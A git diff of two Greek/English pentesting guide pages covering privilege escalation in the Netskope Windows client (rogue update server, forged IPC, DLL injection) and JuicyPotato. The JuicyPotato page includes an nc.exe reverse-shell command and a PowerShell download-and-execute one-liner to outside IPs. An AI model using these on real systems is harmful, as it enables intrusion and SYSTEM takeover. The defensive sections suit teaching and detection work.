@ -50,13 +50,13 @@ Exploit flow:
|
|||||||
"check_msi_digest": false
|
"check_msi_digest": false
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
|
2) /config/ca/cert → Επιστρέφει ένα PEM CA certificate. Η υπηρεσία το εγκαθιστά στο Local Machine Trusted Root store.
|
||||||
3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
|
3) /v2/checkupdate → Παρέχει metadata που δείχνει σε ένα malicious MSI και μια ψεύτικη έκδοση.
|
||||||
|
|
||||||
Παράκαμψη κοινών ελέγχων που συναντώνται στο wild:
|
Παράκαμψη κοινών ελέγχων που συναντώνται στο wild:
|
||||||
- Signer CN allow‑list: η υπηρεσία μπορεί να ελέγχει μόνο αν το Subject CN ισούται με “netSkope Inc” ή “Netskope, Inc.”. Το rogue CA σας μπορεί να εκδώσει ένα leaf με αυτό το CN και να υπογράψει το MSI.
|
- Signer CN allow‑list: η υπηρεσία μπορεί να ελέγχει μόνο αν το Subject CN ισούται με “netSkope Inc” ή “Netskope, Inc.”. Ο rogue CA σας μπορεί να εκδώσει ένα leaf με εκείνο το CN και να υπογράψει το MSI.
|
||||||
- CERT_DIGEST property: συμπεριλάβετε ένα benign MSI property με όνομα CERT_DIGEST. Δεν εφαρμόζεται έλεγχος κατά την εγκατάσταση.
|
- CERT_DIGEST property: συμπεριλάβετε ένα benign MSI property με το όνομα CERT_DIGEST. Δεν εφαρμόζεται enforcement κατά την εγκατάσταση.
|
||||||
- Optional digest enforcement: flag στο config (π.χ., check_msi_digest=false) απενεργοποιεί την επιπλέον κρυπτογραφική επαλήθευση.
|
- Optional digest enforcement: flag στο config (π.χ., check_msi_digest=false) απενεργοποιεί επιπλέον cryptographic validation.
|
||||||
|
|
||||||
Αποτέλεσμα: η SYSTEM service εγκαθιστά το MSI σας από
|
Αποτέλεσμα: η SYSTEM service εγκαθιστά το MSI σας από
|
||||||
C:\ProgramData\Netskope\stAgent\data\*.msi
|
C:\ProgramData\Netskope\stAgent\data\*.msi
|
||||||
@ -65,54 +65,54 @@ C:\ProgramData\Netskope\stAgent\data\*.msi
|
|||||||
---
|
---
|
||||||
## 3) Forging encrypted IPC requests (when present)
|
## 3) Forging encrypted IPC requests (when present)
|
||||||
|
|
||||||
Από R127, η Netskope τύλιξε το IPC JSON σε ένα πεδίο encryptData που μοιάζει με Base64. Αντίστροφη μηχανική έδειξε AES με key/IV που παράγονται από registry τιμές αναγνώσιμες από οποιονδήποτε χρήστη:
|
Από R127, το Netskope τύλιξε το IPC JSON σε ένα encryptData field που μοιάζει με Base64. Αντίστροφη ανάλυση έδειξε AES με key/IV παράγωγα από registry τιμές αναγνώσιμες από οποιονδήποτε χρήστη:
|
||||||
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
|
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
|
||||||
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
|
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
|
||||||
|
|
||||||
Οι attackers μπορούν να αναπαράγουν την κρυπτογράφηση και να στείλουν έγκυρες encrypted εντολές από έναν standard user. Γενική συμβουλή: αν ένας agent ξαφνικά “κρυπτογραφεί” το IPC του, ψάξτε για device IDs, product GUIDs, install IDs κάτω από HKLM ως υλικό για κλειδιά.
|
Οι attackers μπορούν να αναπαράγουν την κρυπτογράφηση και να στείλουν έγκυρες encrypted εντολές από έναν standard user. Γενική συμβουλή: αν ένας agent ξαφνικά “encrypts” το IPC του, ψάξτε για device IDs, product GUIDs, install IDs κάτω από HKLM ως υλικό κλειδιού.
|
||||||
|
|
||||||
---
|
---
|
||||||
## 4) Bypassing IPC caller allow‑lists (path/name checks)
|
## 4) Bypassing IPC caller allow‑lists (path/name checks)
|
||||||
|
|
||||||
Κάποιες υπηρεσίες προσπαθούν να αυθεντικοποιήσουν τον peer επιλύοντας το PID της TCP σύνδεσης και συγκρίνοντας το image path/name με allow‑listed vendor binaries που βρίσκονται κάτω από Program Files (π.χ., stagentui.exe, bwansvc.exe, epdlp.exe).
|
Κάποιες υπηρεσίες προσπαθούν να αυθεντικοποιήσουν το peer επιλύοντας το PID της TCP σύνδεσης και συγκρίνοντας το image path/name με allow‑listed vendor binaries κάτω από Program Files (π.χ., stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||||
|
|
||||||
Δύο πρακτικές παρακάμψεις:
|
Δύο πρακτικές παρακάμψεις:
|
||||||
- DLL injection σε ένα allow‑listed process (π.χ., nsdiag.exe) και proxy IPC από μέσα του.
|
- DLL injection σε ένα allow‑listed process (π.χ., nsdiag.exe) και proxy IPC από μέσα του.
|
||||||
- Spawn ενός allow‑listed binary suspended και bootstrap της proxy DLL σας χωρίς CreateRemoteThread (βλ. §5) για να ικανοποιηθούν οι κανόνες tamper που εφαρμόζει ο driver.
|
- Spawn ενός allow‑listed binary suspended και bootstrap του proxy DLL σας χωρίς CreateRemoteThread (βλ. §5) για να ικανοποιήσετε driver‑enforced tamper κανόνες.
|
||||||
|
|
||||||
---
|
---
|
||||||
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
|
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
|
||||||
|
|
||||||
Προϊόντα συχνά συνοδεύονται από έναν minifilter/OB callbacks driver (π.χ., Stadrv) που αφαιρεί επικίνδυνα δικαιώματα από handles προς protected processes:
|
Τα προϊόντα συχνά συνοδεύονται από έναν minifilter/OB callbacks driver (π.χ., Stadrv) που αφαιρεί επικίνδυνα δικαιώματα από handles προς protected processes:
|
||||||
- Process: αφαιρεί PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
- Process: αφαιρεί PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
||||||
- Thread: περιορίζει σε THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
- Thread: περιορίζει σε THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
||||||
|
|
||||||
Ένας αξιόπιστος user‑mode loader που σέβεται αυτούς τους περιορισμούς:
|
Ένας αξιόπιστος user‑mode loader που σέβεται αυτούς τους περιορισμούς:
|
||||||
1) CreateProcess ενός vendor binary με CREATE_SUSPENDED.
|
1) CreateProcess ενός vendor binary με CREATE_SUSPENDED.
|
||||||
2) Αποκτήστε τα handles που εξακολουθείτε να έχετε δικαίωμα: PROCESS_VM_WRITE | PROCESS_VM_OPERATION για τη διαδικασία, και ένα thread handle με THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ή απλώς THREAD_RESUME αν κάνετε patch κώδικα σε γνωστό RIP).
|
2) Λήψη handles που εξακολουθείτε να δικαιούστε: PROCESS_VM_WRITE | PROCESS_VM_OPERATION για τη διαδικασία, και ένα thread handle με THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ή απλά THREAD_RESUME αν κάνετε patch σε γνωστό RIP).
|
||||||
3) Overwrite ntdll!NtContinue (ή άλλο αρχικό, εγγυημένα mapped thunk) με ένα μικρό stub που καλεί LoadLibraryW στο path της DLL σας, και μετά κάνει jump πίσω.
|
3) Υπερκάλυψη του ntdll!NtContinue (ή άλλου early, guaranteed‑mapped thunk) με ένα μικρό stub που καλεί LoadLibraryW στο path του DLL σας, και μετά κάνει jump πίσω.
|
||||||
4) ResumeThread για να ενεργοποιηθεί το stub in‑process, φορτώνοντας την DLL σας.
|
4) ResumeThread για να ενεργοποιήσει το stub εντός της διεργασίας, φορτώνοντας το DLL σας.
|
||||||
|
|
||||||
Επειδή δεν χρησιμοποιήσατε ποτέ PROCESS_CREATE_THREAD ή PROCESS_SUSPEND_RESUME σε μια ήδη‑protected process (εσείς τη δημιουργήσατε), η πολιτική του driver ικανοποιείται.
|
Επειδή ποτέ δεν χρησιμοποιήσατε PROCESS_CREATE_THREAD ή PROCESS_SUSPEND_RESUME σε μια ήδη‑protected διεργασία (εσείς τη δημιουργήσατε), η πολιτική του driver ικανοποιείται.
|
||||||
|
|
||||||
---
|
---
|
||||||
## 6) Practical tooling
|
## 6) Practical tooling
|
||||||
- NachoVPN (Netskope plugin) αυτοματοποιεί ένα rogue CA, malicious MSI signing, και εξυπηρετεί τα απαραίτητα endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
- NachoVPN (Netskope plugin) αυτοματοποιεί έναν rogue CA, malicious MSI signing, και εξυπηρετεί τα απαιτούμενα endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||||
- UpSkope είναι ένας custom IPC client που κατασκευάζει arbitrary (optionally AES‑encrypted) IPC messages και περιλαμβάνει το suspended‑process injection για να προέρχονται από ένα allow‑listed binary.
|
- UpSkope είναι ένας custom IPC client που κατασκευάζει arbitrary (προαιρετικά AES‑encrypted) IPC messages και περιλαμβάνει την suspended‑process injection για να προέρχονται από ένα allow‑listed binary.
|
||||||
|
|
||||||
---
|
---
|
||||||
## 7) Detection opportunities (blue team)
|
## 7) Detection opportunities (blue team)
|
||||||
- Monitor προσθήκες στο Local Machine Trusted Root. Sysmon + registry‑mod eventing (βλ. SpecterOps guidance) δουλεύει καλά.
|
- Εποπτεύετε προσθήκες στο Local Machine Trusted Root. Sysmon + registry‑mod eventing (βλ. SpecterOps guidance) δουλεύει καλά.
|
||||||
- Flag εκτελέσεις MSI που ξεκινούνται από την agent’s service από μονοπάτια όπως C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
- Σηματοποιήστε MSI executions που ξεκινούν από την agent’s service από μονοπάτια σαν C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
||||||
- Ελέγξτε τα logs του agent για μη αναμενόμενα enrollment hosts/tenants, π.χ.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – ψάξτε για addonUrl / tenant anomalies και provisioning msg 148.
|
- Ελέγξτε τα logs του agent για απροσδόκητα enrollment hosts/tenants, π.χ.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – ψάξτε για addonUrl / tenant anomalies και provisioning msg 148.
|
||||||
- Alert για localhost IPC clients που δεν είναι τα αναμενόμενα signed binaries, ή που προέρχονται από ασυνήθιστα child process trees.
|
- Alert για localhost IPC clients που δεν είναι τα αναμενόμενα signed binaries, ή που προέρχονται από ασυνήθιστα child process trees.
|
||||||
|
|
||||||
---
|
---
|
||||||
## Hardening tips for vendors
|
## Hardening tips for vendors
|
||||||
- Bind enrollment/update hosts σε ένα αυστηρό allow‑list· reject untrusted domains στο clientcode.
|
- Bind enrollment/update hosts σε αυστηρή allow‑list; απορρίψτε untrusted domains σε clientcode.
|
||||||
- Authenticate IPC peers με OS primitives (ALPC security, named‑pipe SIDs) αντί για ελέγχους image path/name.
|
- Authenticate IPC peers με OS primitives (ALPC security, named‑pipe SIDs) αντί για ελέγχους image path/name.
|
||||||
- Κρατήστε secret material εκτός world‑readable HKLM; αν το IPC πρέπει να είναι encrypted, παράξτε keys από protected secrets ή διαπραγματευτείτε μέσω authenticated channels.
|
- Κρατήστε secret material μακριά από world‑readable HKLM; αν το IPC πρέπει να κρυπτογραφείται, παράγετε keys από protected secrets ή διαπραγματευτείτε πάνω σε authenticated κανάλια.
|
||||||
- Θεωρήστε τον updater ως surface της supply‑chain: απαιτήστε πλήρη chain σε ένα trusted CA που ελέγχετε, verify package signatures έναντι pinned keys, και fail closed αν η επικύρωση είναι απενεργοποιημένη στο config.
|
- Αντιμετωπίστε τον updater ως supply‑chain surface: απαιτήστε πλήρη chain σε ένα trusted CA που ελέγχετε, verify package signatures έναντι pinned keys, και fail closed αν το validation είναι απενεργοποιημένο στο config.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
|
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
|
||||||
|
@ -2,60 +2,60 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!WARNING] > JuicyPotato είναι legacy. Γενικά λειτουργεί σε Windows εκδόσεις μέχρι τα Windows 10 1803 / Windows Server 2016. Αλλαγές της Microsoft που κυκλοφόρησαν αρχίζοντας από τα Windows 10 1809 / Server 2019 έσπασαν την αρχική τεχνική. Για αυτές τις builds και νεότερες, εξετάστε σύγχρονες εναλλακτικές όπως PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato και άλλες. Δείτε τη σελίδα παρακάτω για ενημερωμένες επιλογές και χρήση.
|
> [!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage.
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
roguepotato-and-printspoofer.md
|
roguepotato-and-printspoofer.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Juicy Potato (κατάχρηση των golden προνομίων) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
## Juicy Potato (κατάχρηση των χρυσών προνομίων) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||||
|
|
||||||
_Μια γλυκαντική έκδοση του_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, με λίγη έξτρα λειτουργικότητα, δηλαδή_ **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**
|
_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
|
||||||
|
|
||||||
#### Μπορείτε να κατεβάσετε το juicypotato από [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||||
|
|
||||||
### Σύντομες σημειώσεις συμβατότητας
|
### Compatibility quick notes
|
||||||
|
|
||||||
- Λειτουργεί αξιόπιστα έως τα Windows 10 1803 και Windows Server 2016 όταν το τρέχον context έχει SeImpersonatePrivilege ή SeAssignPrimaryTokenPrivilege.
|
- Λειτουργεί αξιόπιστα έως Windows 10 1803 και Windows Server 2016 όταν το τρέχον context έχει SeImpersonatePrivilege ή SeAssignPrimaryTokenPrivilege.
|
||||||
- Έχει σπάσει από το Microsoft hardening στα Windows 10 1809 / Windows Server 2019 και νεότερα. Προτιμήστε τις εναλλακτικές που συνδέονται παραπάνω για αυτές τις εκδόσεις.
|
- Broken by Microsoft hardening in Windows 10 1809 / Windows Server 2019 and later. Prefer the alternatives linked above for those builds.
|
||||||
|
|
||||||
### Περίληψη <a href="#summary" id="summary"></a>
|
### Summary <a href="#summary" id="summary"></a>
|
||||||
|
|
||||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||||
|
|
||||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
|
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
|
||||||
|
|
||||||
Αποφασίσαμε να οπλοποιήσουμε τον [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Γνωρίστε το Juicy Potato**.
|
We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**.
|
||||||
|
|
||||||
> Για τη θεωρία, δείτε [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) και ακολουθήστε την αλυσίδα συνδέσμων και αναφορών.
|
> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
|
||||||
|
|
||||||
Ανακαλύψαμε ότι, πέρα από την `BITS`, υπάρχουν αρκετοί COM servers που μπορούμε να καταχραστούμε. Απλώς πρέπει να:
|
We discovered that, other than `BITS` there are a several COM servers we can abuse. They just need to:
|
||||||
|
|
||||||
1. να μπορούν να δημιουργηθούν από τον τρέχοντα χρήστη, συνήθως έναν “service user” που έχει impersonation privileges
|
1. να μπορούν να δημιουργηθούν από τον τρέχοντα χρήστη, συνήθως έναν “service user” ο οποίος έχει impersonation privileges
|
||||||
2. να υλοποιούν το interface `IMarshal`
|
2. να υλοποιούν το interface `IMarshal`
|
||||||
3. να τρέχουν ως elevated user (SYSTEM, Administrator, …)
|
3. να τρέχουν ως elevated user (SYSTEM, Administrator, …)
|
||||||
|
|
||||||
Μετά από δοκιμές, συλλέξαμε και δοκιμάσαμε μια εκτενή λίστα από [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) σε διάφορες εκδόσεις των Windows.
|
After some testing we obtained and tested an extensive list of [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions.
|
||||||
|
|
||||||
### Λεπτομέρειες <a href="#juicy-details" id="juicy-details"></a>
|
### Juicy details <a href="#juicy-details" id="juicy-details"></a>
|
||||||
|
|
||||||
JuicyPotato σας επιτρέπει να:
|
JuicyPotato allows you to:
|
||||||
|
|
||||||
- **Target CLSID** _επιλέξτε οποιοδήποτε CLSID θέλετε._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _θα βρείτε τη λίστα οργανωμένη ανά OS._
|
- **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._
|
||||||
- **COM Listening port** _ορίστε την προτιμώμενη θύρα COM listening (αντί για το marshalled hardcoded `6666`)_
|
- **COM Listening port** _define COM listening port you prefer (instead of the marshalled hardcoded 6666)_
|
||||||
- **COM Listening IP address** _bind τον server σε οποιαδήποτε IP_
|
- **COM Listening IP address** _bind the server on any IP_
|
||||||
- **Process creation mode** _ανάλογα με τα privileges του impersonated χρήστη μπορείτε να επιλέξετε από:_
|
- **Process creation mode** _depending on the impersonated user’s privileges you can choose from:_
|
||||||
- `CreateProcessWithToken` (needs `SeImpersonate`)
|
- `CreateProcessWithToken` (needs `SeImpersonate`)
|
||||||
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
|
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
|
||||||
- `both`
|
- `both`
|
||||||
- **Process to launch** _εκκινήστε ένα εκτελέσιμο ή script αν η εκμετάλλευση πετύχει_
|
- **Process to launch** _launch an executable or script if the exploitation succeeds_
|
||||||
- **Process Argument** _προσαρμόστε τα arguments της εκκινούμενης διαδικασίας_
|
- **Process Argument** _customize the launched process arguments_
|
||||||
- **RPC Server address** _για μια πιο stealthy προσέγγιση μπορείτε να αυθεντικοποιηθείτε σε έναν εξωτερικό RPC server_
|
- **RPC Server address** _for a stealthy approach you can authenticate to an external RPC server_
|
||||||
- **RPC Server port** _χρήσιμο αν θέλετε να αυθεντικοποιηθείτε σε εξωτερικό server και το firewall μπλοκάρει την πόρτα `135`…_
|
- **RPC Server port** _useful if you want to authenticate to an external server and firewall is blocking port `135`…_
|
||||||
- **TEST mode** _κυρίως για δοκιμές, π.χ. δοκιμή CLSIDs. Δημιουργεί το DCOM και εκτυπώνει τον χρήστη του token. Δείτε_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
|
- **TEST mode** _mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
|
||||||
|
|
||||||
### Χρήση <a href="#usage" id="usage"></a>
|
### Usage <a href="#usage" id="usage"></a>
|
||||||
```
|
```
|
||||||
T:\>JuicyPotato.exe
|
T:\>JuicyPotato.exe
|
||||||
JuicyPotato v0.1
|
JuicyPotato v0.1
|
||||||
@ -72,26 +72,26 @@ Optional args:
|
|||||||
-k <ip>: RPC server ip address (default 127.0.0.1)
|
-k <ip>: RPC server ip address (default 127.0.0.1)
|
||||||
-n <port>: RPC server listen port (default 135)
|
-n <port>: RPC server listen port (default 135)
|
||||||
```
|
```
|
||||||
### Τελικές σκέψεις <a href="#final-thoughts" id="final-thoughts"></a>
|
### Τελικά σχόλια <a href="#final-thoughts" id="final-thoughts"></a>
|
||||||
|
|
||||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||||
|
|
||||||
Αν ο χρήστης έχει `SeImpersonate` ή `SeAssignPrimaryToken` προνόμια τότε είστε **SYSTEM**.
|
Αν ο χρήστης έχει `SeImpersonate` ή `SeAssignPrimaryToken` προνόμια τότε είστε **SYSTEM**.
|
||||||
|
|
||||||
Είναι σχεδόν αδύνατο να αποτραπεί η κατάχρηση όλων αυτών των COM Servers. Μπορείτε να σκεφτείτε την τροποποίηση των δικαιωμάτων αυτών των αντικειμένων μέσω του `DCOMCNFG`, αλλά καλή τύχη — αυτό θα είναι δύσκολο.
|
Είναι σχεδόν αδύνατο να αποτραπεί η κατάχρηση όλων αυτών των COM Servers. Θα μπορούσατε να σκεφτείτε να τροποποιήσετε τα δικαιώματα αυτών των αντικειμένων μέσω του `DCOMCNFG` αλλά καλή τύχη, αυτό θα είναι πρόκληση.
|
||||||
|
|
||||||
Η πραγματική λύση είναι να προστατευτούν ευαίσθητοι λογαριασμοί και εφαρμογές που τρέχουν κάτω από τους λογαριασμούς `* SERVICE`. Η απενεργοποίηση του `DCOM` θα εμπόδιζε σίγουρα αυτό το exploit αλλά μπορεί να έχει σοβαρό αντίκτυπο στο υποκείμενο OS.
|
Η πραγματική λύση είναι να προστατέψετε ευαίσθητους λογαριασμούς και εφαρμογές που τρέχουν υπό τους λογαριασμούς `* SERVICE`. Το να σταματήσετε το `DCOM` σίγουρα θα παρεμπόδιζε αυτό το exploit αλλά μπορεί να έχει σοβαρό αντίκτυπο στο υποκείμενο OS.
|
||||||
|
|
||||||
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||||
|
|
||||||
## JuicyPotatoNG (2022+)
|
## JuicyPotatoNG (2022+)
|
||||||
|
|
||||||
JuicyPotatoNG επανεισάγει ένα JuicyPotato-style local privilege escalation σε σύγχρονα Windows συνδυάζοντας:
|
JuicyPotatoNG re-introduces a JuicyPotato-style local privilege escalation on modern Windows by combining:
|
||||||
- DCOM OXID resolution σε τοπικό RPC server σε επιλεγμένη θύρα, αποφεύγοντας τον παλαιό σκληροκωδικοποιημένο listener 127.0.0.1:6666.
|
- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener.
|
||||||
- Ένα SSPI hook για να καταγράψει και να προσωποποιήσει την εισερχόμενη πιστοποίηση SYSTEM χωρίς να απαιτεί RpcImpersonateClient, κάτι που επίσης επιτρέπει CreateProcessAsUser όταν υπάρχει μόνο το SeAssignPrimaryTokenPrivilege.
|
- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present.
|
||||||
- Τρικ για να ικανοποιήσουν τους περιορισμούς ενεργοποίησης DCOM (π.χ. η πρώην απαίτηση INTERACTIVE-group όταν στοχεύονται οι κλάσεις PrintNotify / ActiveX Installer Service).
|
- Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes).
|
||||||
|
|
||||||
Σημαντικές σημειώσεις (εξελισσόμενη συμπεριφορά ανά builds):
|
Important notes (evolving behavior across builds):
|
||||||
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
|
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
|
||||||
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
|
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
|
||||||
|
|
||||||
@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
|
|||||||
# -s Scan for a COM port not filtered by Windows Defender Firewall
|
# -s Scan for a COM port not filtered by Windows Defender Firewall
|
||||||
# -i Interactive console (only with CreateProcessAsUser)
|
# -i Interactive console (only with CreateProcessAsUser)
|
||||||
```
|
```
|
||||||
If you’re targeting Windows 10 1809 / Server 2019 where classic JuicyPotato is patched, prefer the alternatives linked at the top (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG may be situational depending on build and service state.
|
Εάν στοχεύετε Windows 10 1809 / Server 2019 όπου το κλασικό JuicyPotato έχει επιδιορθωθεί, προτιμήστε τις εναλλακτικές που αναφέρονται στην κορυφή (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, κ.λπ.). Το NG μπορεί να είναι κατά περίπτωση, ανάλογα με το build και την κατάσταση της υπηρεσίας.
|
||||||
|
|
||||||
## Παραδείγματα
|
## Παραδείγματα
|
||||||
|
|
||||||
Σημείωση: Επισκεφτείτε [this page](https://ohpe.it/juicy-potato/CLSID/) για μια λίστα με CLSIDs που μπορείτε να δοκιμάσετε.
|
Σημείωση: Επισκεφθείτε [this page](https://ohpe.it/juicy-potato/CLSID/) για μια λίστα CLSIDs προς δοκιμή.
|
||||||
|
|
||||||
### Αποκτήστε ένα nc.exe reverse shell
|
### Πάρτε ένα nc.exe reverse shell
|
||||||
```
|
```
|
||||||
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
|
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
|
||||||
|
|
||||||
@ -122,17 +122,17 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
|
|||||||
|
|
||||||
c:\Users\Public>
|
c:\Users\Public>
|
||||||
```
|
```
|
||||||
### Powershell αντίστροφο
|
### Powershell rev
|
||||||
```
|
```
|
||||||
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
|
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
|
||||||
```
|
```
|
||||||
### Εκκινήστε ένα νέο CMD (αν έχετε πρόσβαση RDP)
|
### Εκκίνηση νέου CMD (αν έχετε πρόσβαση RDP)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
## Προβλήματα CLSID
|
## Προβλήματα CLSID
|
||||||
|
|
||||||
